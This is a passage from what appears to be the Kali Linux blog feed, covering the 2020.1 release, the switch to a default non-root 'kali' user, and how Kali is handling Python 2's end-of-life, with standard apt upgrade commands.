&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-everywhere/images/LXD-100_Kali_UnPrivSession.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-everywhere/images/LXD-100_Kali_UnPrivSession.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Have fun with your Kali LXC / LXD images!&lt;/p></description></item><item><title>Kali Linux 2020.1 Release (Non-Root, Single Installer &amp; NetHunter Rootless)</title><link>https://www.kali.org/blog/kali-linux-2020-1-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2020-1-release/</guid><pubDate>Tue, 28 Jan 2020 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2020-1-release/images/kali-2020.1.jpg" type="image/jpg"/><description>&lt;p>We are here to kick off our first release of the decade, with Kali Linux 2020.1! Available for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a>.&lt;/p>
&lt;p>The following is a brief feature summary for this release:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-default-non-root-user/">Non-Root by default&lt;/a>&lt;/li>
&lt;li>Kali single installer image&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-rootless/">Kali NetHunter Rootless&lt;/a>&lt;/li>
&lt;li>Improvements to theme &amp;amp; kali-undercover&lt;/li>
&lt;li>New tools&lt;/li>
&lt;/ul>
&lt;h2 id="non-root">Non-Root&lt;/h2>
&lt;p>Throughout the history of Kali (and its &lt;a href="https://www.kali.org/docs/introduction/kali-linux-history/">predecessors&lt;/a> &lt;a href="https://www.backtrack-linux.org/">BackTrack&lt;/a>, WHAX, and Whoppix), the default credentials have been &lt;code>root/toor&lt;/code>. This is no more. We are no longer using the superuser account, root, as default in Kali 2020.1. The default user account is now a &lt;a href="https://www.kali.org/docs/policy/kali-linux-user-policy/">standard, unprivileged, user&lt;/a>.&lt;/p>
&lt;p>For more of the reasons behind this switch, please see our &lt;a href="https://www.kali.org/blog/kali-default-non-root-user/">previous blog post&lt;/a>. As you can imagine, this is a very large change, with years of history behind it. As a result, if you notice any issues with this, please do let us know on the &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>.&lt;/p>
&lt;p>&lt;code>root/toor&lt;/code> is dead. Long live &lt;code>kali/kali&lt;/code>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1-release/images/kali-kali-login.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1-release/images/kali-kali-login.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h4 id="kali-as-your-main-os">Kali as your Main OS&lt;/h4>
&lt;p>So with this, should you use Kali as your daily driver, as the primary OS? It&amp;rsquo;s up to you.
There wasn&amp;rsquo;t anything really stopping you before, we just don&amp;rsquo;t encourage it. We still don&amp;rsquo;t. But its a helping hand for the people who are familiar with Kali enough.&lt;/p>
&lt;p>Why do we not recommend it?
Because we are unable to test for that usage pattern and we don&amp;rsquo;t want the influx of bug reports that would come with it.
If you are brave enough to try it, you may wish to switch the &lt;a href="https://www.kali.org/docs/general-use/kali-branches/">branch from &amp;ldquo;rolling&amp;rdquo; to &amp;ldquo;kali-last-snapshot&amp;rdquo;&lt;/a> to try and be more stable.&lt;/p>
&lt;h2 id="kali-single-installer-image">Kali Single Installer Image&lt;/h2>
&lt;p>We took a good hard look at the usage of Kali, what images are actually downloaded, how they are put to use, and so on. With this information in hand, we decided to completely restructure and simplify the images we release. Going forward, we will have an installer image, a live image, and a network installer image.&lt;/p>
&lt;p>These changes should allow for easier selection of the right image for you to download, while increasing flexibility on installation and further reducing download sizes.&lt;/p>
&lt;p>&lt;strong>Our Installer Image&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>This is what we recommend for most users that want to install Kali on their system&lt;/li>
&lt;li>Doesn&amp;rsquo;t require a network connection (aka offline install) for the default package selection&lt;/li>
&lt;li>Able to select desktop environment to install (Previously there was a separate image for each DE: XFCE, GNOME, KDE, etc.)&lt;/li>
&lt;li>Able to select tools to install at install time&lt;/li>
&lt;li>Can&amp;rsquo;t be used to boot a live system. This is just an installer image.&lt;/li>
&lt;li>Filename:
&lt;ul>
&lt;li>&lt;code>kali-linux-2020.1-installer-&amp;lt;amd64|i386&amp;gt;.iso&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>We are no longer offering separate images for every desktop environment (DE). Instead, we now have a single image with the option to pick your DE during installation. This means there isn&amp;rsquo;t a download link for Xfce (which is our default option since &lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">2019.4&lt;/a>), GNOME, KDE, MATE or LXDE DEs. Just one image to rule them all.&lt;/p>
&lt;p>At install time, you may &lt;a href="https://www.kali.org/docs/general-use/metapackages/">select the tools included&lt;/a> with Kali (or &lt;strong>none at all&lt;/strong>)! This gives you more control over what &lt;strong>you&lt;/strong> want. We understand that Kali comes with more tools than some people use, or they have their own select tools they use. Now they can install Kali without any metapackages, giving them a bare Kali installation, so they can &lt;strong>individually select what tools they want&lt;/strong> (rather than groups/).&lt;/p>
&lt;p>The default image contains the &lt;code>kali-desktop-xfce&lt;/code> and &lt;code>kali-tools-default&lt;/code> packages, allowing for an offline installation of Kali (as it always has been). Selecting any non-default tools will require a network connection.&lt;/p>
&lt;p>Note: &amp;ldquo;Kali Live&amp;rdquo; is not included in this image. If you wish to use live mode, you&amp;rsquo;ll need the live image.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1-release/images/tasksel_first_0.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1-release/images/tasksel_first_0.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Network Install Image&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Smallest image to download&lt;/li>
&lt;li>This requires a network connection to install&lt;/li>
&lt;li>During setup, it will download the latest packages every time it&amp;rsquo;s used&lt;/li>
&lt;li>Able to select desktop environment to install&lt;/li>
&lt;li>Able to select tools to install&lt;/li>
&lt;li>Can&amp;rsquo;t be used to boot a live system. This is just an installer image.&lt;/li>
&lt;li>Filename:
&lt;ul>
&lt;li>&lt;code>kali-linux-2020.1-installer-netinst-&amp;lt;amd64|i386&amp;gt;.iso&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s a very small image, containing only enough to install the base system, but behaving exactly like the full installer image, allowing you to install everything that Kali offers, provided that you have enabled network connectivity.&lt;/p>
&lt;p>&lt;strong>Live Image&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Its primary use is to be able to run Kali, without installing it&lt;/li>
&lt;li>But it also contains an installer, behaving like the &amp;ldquo;Network Install Image&amp;rdquo; described above&lt;/li>
&lt;li>Filename:
&lt;ul>
&lt;li>&lt;code>kali-linux-2020.1-live-&amp;lt;amd64|i386&amp;gt;.iso&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&amp;ldquo;Kali Live&amp;rdquo; hasn&amp;rsquo;t been forgotten about - it&amp;rsquo;s just moved to its own image. This allows you to try Kali without installing it and is perfect for running off a USB stick. You can install from this image, however, it will require a network connection (this is why we suggest the stand-alone install image for most users).&lt;/p>
&lt;p>Alternatively, you can &lt;a href="https://www.kali.org/docs/development/dojo-mastering-live-build/">generate your own image&lt;/a>, in particular if you want to use another desktop environment instead of our default Xfce. It&amp;rsquo;s not as hard as it sounds!.&lt;/p>
&lt;h2 id="arm-images">ARM Images&lt;/h2>
&lt;p>You will probably notice a bit of a change in the ARM images starting with our 2020.1 release. There are fewer images available for download, due to both manpower and hardware constraints, some images won&amp;rsquo;t be posted without community assistance.
The scripts are still updated, so if an image doesn&amp;rsquo;t exist for a machine you use, you will have to create it by running the &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">build script&lt;/a> on a Kali machine.&lt;/p>
&lt;p>ARM images for 2020.1 will still run as root by default.&lt;/p>
&lt;p>The sad news that a lot of people didn&amp;rsquo;t want to hear&amp;hellip; an image for the Pinebook Pro isn&amp;rsquo;t included in the 2020.1 release. We are still working on getting it added, and as soon as it is ready we will post it.&lt;/p>
&lt;h2 id="nethunter-images">NetHunter Images&lt;/h2>
&lt;p>Our mobile pen-testing platform, Kali NetHunter, has also had some new improvements. You are now no longer required to root your phone in order to run Kali NetHunter, but that does come with some limitations.&lt;/p>
&lt;p>To suit everybody&amp;rsquo;s needs, Kali NetHunter now comes in the following three editions:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>NetHunter&lt;/strong> - Needs rooted devices with custom recovery and patched kernel. Has no restrictions. Device specific images are available &lt;a href="https://www.kali.org/get-kali/#kali-mobile">here&lt;/a>.&lt;/li>
&lt;li>&lt;strong>NetHunter Light&lt;/strong> - Needs rooted devices with custom recovery but no custom kernel. Has minor restrictions, i.e. no WiFi injection or HID support. Architecture specific images are available &lt;a href="https://www.kali.org/get-kali/#kali-mobile">here&lt;/a>.&lt;/li>
&lt;li>&lt;strong>NetHunter Rootless&lt;/strong> - Installable on all stock standard, unmodified devices using Termux. Some limitations, like lack of db support in Metasploit and no root permissions. Installation instruction is available &lt;a href="https://www.kali.org/docs/nethunter/nethunter-rootless/">here&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>The &lt;a href="https://www.kali.org/docs/nethunter/#1-0-nethunter-editions/">NetHunter documentation page&lt;/a> includes a more detailed comparison. Each NetHunter edition comes with both the new &amp;ldquo;kali&amp;rdquo; user as well as root. KeX now supports multiple sessions so you can opt to run your pentest in one whilst writing a report in another.&lt;/p>
&lt;p>Please note that due to how Samsung Galaxy devices function, the non-root user might not be able to run &lt;code>sudo&lt;/code> but has to use &lt;code>su -c&lt;/code> instead.&lt;/p>
&lt;p>One of the peculiarities of the new &amp;ldquo;NetHunter Rootless&amp;rdquo; edition is that the default non-root user has almost full privileges in the chroot due to how proot containers work.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-nethunter1-scaled.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-nethunter1-scaled.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="theming">Theming&lt;/h2>
&lt;p>With our last release, we made a major change switching from GNOME to Xfce. That wasn&amp;rsquo;t the end for us; we have kept on going with the design work, and have more updates:&lt;/p>
&lt;p>&lt;strong>GNOME&lt;/strong> There is now a new theme for GNOME users and as an additional bonus, there is a light and dark theme!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-gnome-shell-overview.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-gnome-shell-overview.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-gnome-shell-light.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-gnome-shell-light.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-gnome-shell-dark.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-gnome-shell-dark.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Tools&lt;/strong> We are giving the tools that you are very fond of a makeover too! We are slowly working through our collection, refreshing them and adding in new icons.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-icons.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-icons.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Menu&lt;/strong> Eagle-eyed users may also notice the icons used in the menu have also been replaced.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-menu.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-menu.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Setup&lt;/strong> And if you opt to use the graphical installer of Kali, it&amp;rsquo;s also been updated &lt;em>(Before and after shots)&lt;/em>&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-setup.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-setup.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kali-undercover">Kali-Undercover&lt;/h2>
&lt;p>We were not expecting the community&amp;rsquo;s overwhelming response to kali-undercover. So carrying on from &lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">Kali 2019.4 release&lt;/a>, Kali-undercover now starts to feel even more like Windows to help blend in.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-undercover.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1-release/images/release-2020.1-undercover.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="new-packages">New Packages&lt;/h2>
&lt;p>Kali Linux is a rolling distribution, so it gets updates as soon as they are available, rather than waiting for &amp;ldquo;the next release&amp;rdquo;. So since the last release, we have the normal tool upgrades as well as a few new tools added, such as: &lt;code>cloud-enum&lt;/code>, &lt;code>emailharvester&lt;/code>, &lt;code>phpggc&lt;/code>, &lt;code>sherlock&lt;/code>, &lt;code>splinter&lt;/code>.&lt;/p>
&lt;p>We have a few new (&lt;code>kali-community-wallpapers&lt;/code>) and old (&lt;code>kali-legacy-wallpapers&lt;/code>) wallpapers to offer up if you want to customize or are feeling a little a little nostalgic.&lt;/p>
&lt;h2 id="python-2-end-of-life">Python 2 End Of Life&lt;/h2>
&lt;p>As a reminder, &lt;a href="https://www.kali.org/blog/python-2-end-of-life/">Python 2 has reached &amp;ldquo;end of life&amp;rdquo;&lt;/a> on the 1st of January 2020. What this means is, we are removing tools that depend on Python 2. Why? Because they are no longer being maintained, they are not receiving updates, and they need replacing. The pentesting landscape is a dynamic field that is forever changing. It&amp;rsquo;s time to keep up. We will be doing our best to find alternatives that are actively worked upon.&lt;/p>
&lt;h2 id="giving-a-helping-hand">Giving A Helping Hand&lt;/h2>
&lt;p>If you want to &lt;a href="https://www.kali.org/docs/community/contribute/">contribute to Kali&lt;/a> please do! If you have an area, idea of something YOU would like to work on, please dig in. If you want to help, but don&amp;rsquo;t know where to start, please see &lt;a href="https://www.kali.org/docs/community/contribute/">our docs page&lt;/a>. If you have a suggestion for a feature, please record it on the &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>.&lt;/p>
&lt;p>Note: the bug tracker is for &lt;a href="https://www.kali.org/docs/community/submitting-issues-kali-bug-tracker/">bugs &amp;amp; suggestions&lt;/a>. Its not a place to get help or support - that&amp;rsquo;s for the &lt;a href="https://forums.kali.org/">forums&lt;/a>.&lt;/p>
&lt;h2 id="download-kali-linux-20201">Download Kali Linux 2020.1&lt;/h2>
&lt;p>&lt;strong>Fresh images&lt;/strong> Why are you waiting? Start &lt;a href="https://www.kali.org/get-kali/">downloading&lt;/a> now!&lt;/p>
&lt;p>&lt;strong>Existing Upgrades&lt;/strong> If you already have an existing Kali installation, remember you can always do a quick update:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
kali@kali:~$
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
kali@kali:~$
kali@kali:~$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2020.1. We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ grep VERSION /etc/os-release
VERSION=&amp;quot;2020.1&amp;quot;
VERSION_ID=&amp;quot;2020.1&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
kali@kali:~$
kali@kali:~$ uname -v
#1 SMP Debian 5.4.13-1kali1 (2020-01-20)
kali@kali:~$
kali@kali:~$ uname -r
5.4.0-kali3-amd64
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on &lt;a href="https://pkg.kali.org/pkg/linux-latest">architecture&lt;/a>.&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/main_page.php">bug tracker&lt;/a>. We&amp;rsquo;ll never be able to fix what we don&amp;rsquo;t know is broken.&lt;/p></description></item><item><title>Kali Default Non-Root User</title><link>https://www.kali.org/blog/kali-default-non-root-user/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-default-non-root-user/</guid><pubDate>Tue, 31 Dec 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-default-non-root-user/images/non-root-default-kali-user.jpg" type="image/jpg"/><description>&lt;p>For years now, Kali has inherited the default root user policy from BackTrack. As part of our evaluation of &lt;a href="https://www.kali.org/tools/">Kali tools&lt;/a> and &lt;a href="https://www.kali.org/docs/policy/">policies&lt;/a> we have decided to change this and move Kali to a &amp;ldquo;traditional default non-root user&amp;rdquo; model. This change will be part of the 2020.1 release, currently scheduled for late January. However, you will notice this change in the &lt;a href="https://cdimage.kali.org/kali-weekly/">weekly images&lt;/a> starting now.&lt;/p>
&lt;h2 id="the-history-of-default-root-user">The History of Default Root User&lt;/h2>
&lt;p>In the beginning, there was &lt;a href="https://www.backtrack-linux.org/">BackTrack&lt;/a>. In its original form, BackTrack (v1-4) was a Slackware live based distro intended to be ran from a CDROM. Yes, we do go back a ways &lt;em>(2006!)&lt;/em>.&lt;/p>
&lt;p>In this model, there was no real update mechanism, just a bunch of pentesting tools living in the &lt;code>/pentest/&lt;/code> directory, that you could use as part of assessments. It was the early days, so things were not very sophisticated, we were just all happy things worked. A lot of those tools back then either required root access to run or ran better when ran as root. With this operating system that would be ran from a CD, never be updated, and had a lot of tools that needed root access to run it was a simple decision to have a &amp;ldquo;everything as root&amp;rdquo; security model. It made complete sense for the time.&lt;/p>
&lt;p>As time went by however, there were a number of changes. All of us that were around back then sort of remember things a little differently but on the broad strokes we saw people were installing BackTrack on bare metal so we felt like there should be an update mechanism. Especially after walking around Defcon and noticing how many people were using a version of BackTrack that was vulnerable to a certain exploit which came out a few weeks prior. That moved us to basing BackTrack 5 off of Ubuntu instead of Slackware live &lt;em>(February 2011)&lt;/em>. Then as more time went by we were so busy fighting with Ubuntu that we felt like we needed to move onto something else.&lt;/p>
&lt;p>That brought us to &lt;a href="https://www.kali.org/blog/kali-linux-1-0-0-release/">Kali&lt;/a> &lt;em>(March 2013)&lt;/em>, and being an official &lt;a href="https://wiki.debian.org/Derivatives/Census/Kali">Debian derivative&lt;/a>.&lt;/p>
&lt;h2 id="modern-kali">Modern Kali&lt;/h2>
&lt;p>Our move to be a Debian derivative brought with a whole host of advantages. So many in-fact its not worth reviewing them here, just look at the &lt;a href="https://www.kali.org/blog/kali-linux-whats-new/">early&lt;/a> &lt;a href="https://www.kali.org/blog/bleeding-edge-kali-repositories/">Kali&lt;/a> &lt;a href="https://www.kali.org/blog/kali-linux-1-0-3-release/">blog&lt;/a> &lt;a href="https://www.kali.org/blog/kali-linux-penetration-testing-platform/">posts&lt;/a> shortly after the launch and you will see a ton of &lt;a href="https://www.kali.org/blog/tracking-fixing-installer-bugs/">examples&lt;/a>. But one advantage that we never really talked to much about is the fact that we are based on &lt;a href="https://wiki.debian.org/DebianTesting">Debian-Testing&lt;/a>.&lt;/p>
&lt;p>Debian has a well earned reputation for being one of the most stable Linux distros out there. Debian-Testing is the development branch of the next version of Debian, and realistically is still more stable than many mainstream Linux distros.&lt;/p>
&lt;p>While we don&amp;rsquo;t encourage people to run Kali as their day to day operating system, over the last few years more and more users have started to do so &lt;em>(even if they are not using it to do penetration testing full time)&lt;/em>, including some members of the Kali development team. When people do so, they obviously don&amp;rsquo;t run as default root user. With this usage over time, there is the obvious conclusion that default root user is no longer necessary and Kali will be better off moving to a more traditional security model.&lt;/p>
&lt;h2 id="why-some-tools-require-root-access">Why Some Tools Require Root Access&lt;/h2>
&lt;p>Lets have a quick sidebar and review how some tools require root. For this, we will pick on &lt;a href="https://www.kali.org/tools/nmap/">nmap&lt;/a>.&lt;/p>
&lt;p>Nmap is hands down the most popular portscanner in use today, and one of the most popular tools used on Kali. When ran by a non-root user doing a standard scan, nmap will default to running what is known as a connect scan (&lt;code>-sT&lt;/code>). In this sort of scan, a full TCP three way handshake is conducted to identify if a given port is open or not. However, when ran as a root user nmap takes advantage of the additional privileges to utilize &lt;a href="https://man7.org/linux/man-pages/man7/raw.7.html">raw sockets&lt;/a> and will conduct a &lt;a href="https://en.wikipedia.org/wiki/Port_scanner#SYN_scanning">syn scan&lt;/a> (&lt;code>-sS&lt;/code>), a far more popular scan type. This syn scan is not possible unless ran as root.&lt;/p>
&lt;p>This aspect of security tools requiring root level permissions traditionally has not been uncommon. Running as a root user by default makes it easier to use these tools.&lt;/p>
&lt;p>One of the, possibly surprising, conclusions we came to while looking at this issue is the number of tools that require root access has dropped over the years. This has made this default root policy less useful, bringing us to the point now where we are going to make this change.&lt;/p>
&lt;h2 id="many-applications-require-non-root-accounts">Many Applications Require Non Root Accounts&lt;/h2>
&lt;p>On the opposite direction, over the years a number of applications and services have been configured to forbid their usage as the &lt;code>root&lt;/code> user. This has become either a maintenance burden for us (when we opted to patch out the check or reconfigure the service) or a nuisance for users that could not use their application (with &lt;a href="https://bugs.kali.org/view.php?id=5404">chrome/chromium&lt;/a> being a well known case).&lt;/p>
&lt;p>Dropping this default root policy will thus simplify maintenance of Kali and will avoid problems for end-users.&lt;/p>
&lt;h2 id="kali-non-root-user-implementation">Kali Non-Root User Implementation&lt;/h2>
&lt;p>There are a number of changes you can expect to see as part of this change.&lt;/p>
&lt;ol>
&lt;li>Kali in live mode will be running as user &lt;code>kali&lt;/code> password &lt;code>kali&lt;/code>. No more &lt;code>root&lt;/code>/&lt;code>toor&lt;/code>. (Get ready to set up your IDS filters, as we are sure this user/pass combo will be being scanned for by bots everywhere soon).&lt;/li>
&lt;li>On install, Kali will prompt you to create a non-root user that will have administrative privileges (due to its addition to the &lt;code>sudo&lt;/code> group). This is the same process as other Linux distros you may be familiar with.&lt;/li>
&lt;li>Tools that we identify as needing root access, as well as common administrative functions such as starting/stopping services, will interactively ask for administrative privileges (at least when started from the Kali menu). If you really don&amp;rsquo;t care about security, and if you preferred the old model, you can install kali-grant-root and run &lt;code>dpkg-reconfigure kali-grant-root&lt;/code> to configure password-less root rights.&lt;/li>
&lt;/ol>
&lt;p>All-in-all, we don&amp;rsquo;t expect this will be a major change for most users. It is possible that some tools or administrative functions will be missed in our review, when that happens we would ask that you create a &lt;a href="https://bugs.kali.org/">bug report&lt;/a> so it can be tracked and corrected. (And no, &lt;a href="https://twitter.com/kalilinux">tweeting&lt;/a> at us is not a bug report and won&amp;rsquo;t be tracked. Sorry, but that just does not scale).&lt;/p>
&lt;h2 id="going-forward">Going Forward&lt;/h2>
&lt;p>All that said, we are still not encouraging people to use Kali as their day to day operating system. More than anything else, this is because we don&amp;rsquo;t test for that usage pattern and we don&amp;rsquo;t want the influx of bug reports that would come with it. However, for those of you that are familiar with Kali and want to run it as your day to day platform, this change should help you out a lot. For the rest of you, this should give you a better security model to operate under while you are doing assessments.&lt;/p>
&lt;p>As we mentioned at the start, this change is currently available in the daily builds and will be in the next weekly build. Feel free to download and test early, as we would like to have as many potential issues shaken lose before release as possible. The more active users on this the better.&lt;/p>
&lt;p>After a strong 2019 with Kali, this is a major change to start out our 2020 development cycle. Expect more as the &lt;a href="https://www.kali.org/blog/kali-linux-roadmap-2019-2020/">year goes on&lt;/a>. As always, feel free to join in on the &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>, &lt;a href="https://forums.kali.org/forum.php">forums&lt;/a>, or &lt;a href="https://gitlab.com/kalilinux">git&lt;/a> to &lt;a href="https://www.kali.org/docs/community/contribute/">contribute&lt;/a> and be part of the future of Kali.&lt;/p></description></item><item><title>How Kali deals with the upcoming Python 2 End-of-Life</title><link>https://www.kali.org/blog/python-2-end-of-life/</link><guid isPermaLink="true">https://www.kali.org/blog/python-2-end-of-life/</guid><pubDate>Mon, 16 Dec 2019 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/python-2-end-of-life/images/python-2-end-of-life-b.jpg" type="image/jpg"/><description>&lt;p>Five years ago, the Python developers announced that they will &lt;a href="https://pythonclock.org/">stop supporting Python 2 in 2020&lt;/a>. For a long time, nobody cared and Python 3 adoption was slow. But things have changed a lot lately as the deadline is right around the corner (1st January).&lt;/p>
&lt;h2 id="debian-is-removing-python-2-support">Debian is removing Python 2 support&lt;/h2>
&lt;p>Debian is planning to get rid of &lt;a href="https://wiki.debian.org/Python/2Removal">Python 2 entirely for their next stable release&lt;/a> so they are progressively getting rid of Python 2 code. They filed release critical bugs on leaf packages (i.e. packages without reverse dependencies) asking them to be ported to Python 3. If the Python 3 port is not happening soon enough, these packages will be removed from &lt;a href="https://wiki.debian.org/DebianTesting">Debian Testing&lt;/a> &lt;em>(which is what Kali is based on)&lt;/em>.&lt;/p>
&lt;h2 id="consequences-for-kali">Consequences for Kali&lt;/h2>
&lt;h3 id="applications-disappearing">Applications disappearing&lt;/h3>
&lt;p>As Kali is a rolling distribution, it continuously receives updates from Debian Testing. This includes when packages &amp;ldquo;go away&amp;rdquo; because they have been dropped from Debian. However, they can always come back later, provided that someone ports them to Python 3.&lt;/p>
&lt;p>We have already experienced this in the case of &lt;code>zenmap&lt;/code> which is no longer maintained by the &lt;a href="https://nmap.org/zenmap/">nmap developers&lt;/a>. Thus, it&amp;rsquo;s no longer built by &lt;a href="https://packages.debian.org/search?keywords=zenmap">Debian&amp;rsquo;s nmap source&lt;/a> package, and as a result no longer appears in Kali.&lt;/p>
&lt;h3 id="broken-applications">Broken applications&lt;/h3>
&lt;p>We have many Python 2 applications in Kali that use modules which are packaged in Debian. When Debian drops the Python 2 version of such a module, the application is broken in &lt;a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/">kali-dev&lt;/a>. kali-rolling is not affected due to the way it&amp;rsquo;s managed but the growing divergence between kali-dev and kali-rolling is making our job more difficult: we don&amp;rsquo;t get updates for such packages and there are other (recent/) applications that will likely require new versions of those packages!&lt;/p>
&lt;h2 id="kali-must-remove-python-2-code-too">Kali must remove Python 2 code too&lt;/h2>
&lt;p>Due to this change in the ecosystem, Kali has no other choice than to follow Debian&amp;rsquo;s lead and remove Python 2 code as well. This giant effort is tracked with &lt;a href="https://gitlab.com/groups/kalilinux/-/issues?label_name%5B%5D=Project%3A%3APy2Removal">many GitLab issues&lt;/a> against all packages depending on Python 2 in some way. We have already filed upstream bug reports for all the packages where there&amp;rsquo;s no Python 3 support yet.&lt;/p>
&lt;p>How we handle each case depends on many factors:&lt;/p>
&lt;ul>
&lt;li>If upstream is working on Python 3 support, then we just wait until it&amp;rsquo;s ready.&lt;/li>
&lt;li>If upstream is inactive or is not interested into porting its code to Python 3, then we have few choices:
&lt;ul>
&lt;li>either we remove the package;&lt;/li>
&lt;li>or we find some fork/patch that adds Python 3 support;&lt;/li>
&lt;li>or we do the porting work ourselves (rather unlikely except for trivial scripts).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>It also depends on the kind of packages:&lt;/p>
&lt;ul>
&lt;li>For a Python library, it&amp;rsquo;s a two step process: first we add Python 3 support; Python 2 support is removed later, once all reverse dependencies have been updated to use Python 3.&lt;/li>
&lt;li>For a Python application, a single update might be enough but that update might depend on having dependencies be ported to Python 3 first.&lt;/li>
&lt;/ul>
&lt;p>We don&amp;rsquo;t like to remove software, but sometimes when they are no longer maintained, we have no other choices. For important packages, we are waiting longer thus letting more time for the community to add the required Python 3 support. We might even patch them so that they display a warning inviting users to contribute, or at least understand the application may be removed in the near future.&lt;/p>
&lt;p>For packages that no longer add much value, or that have viable alternatives in Kali, we might remove them at any point in time.&lt;/p>
&lt;h2 id="how-you-can-contribute">How you can contribute&lt;/h2>
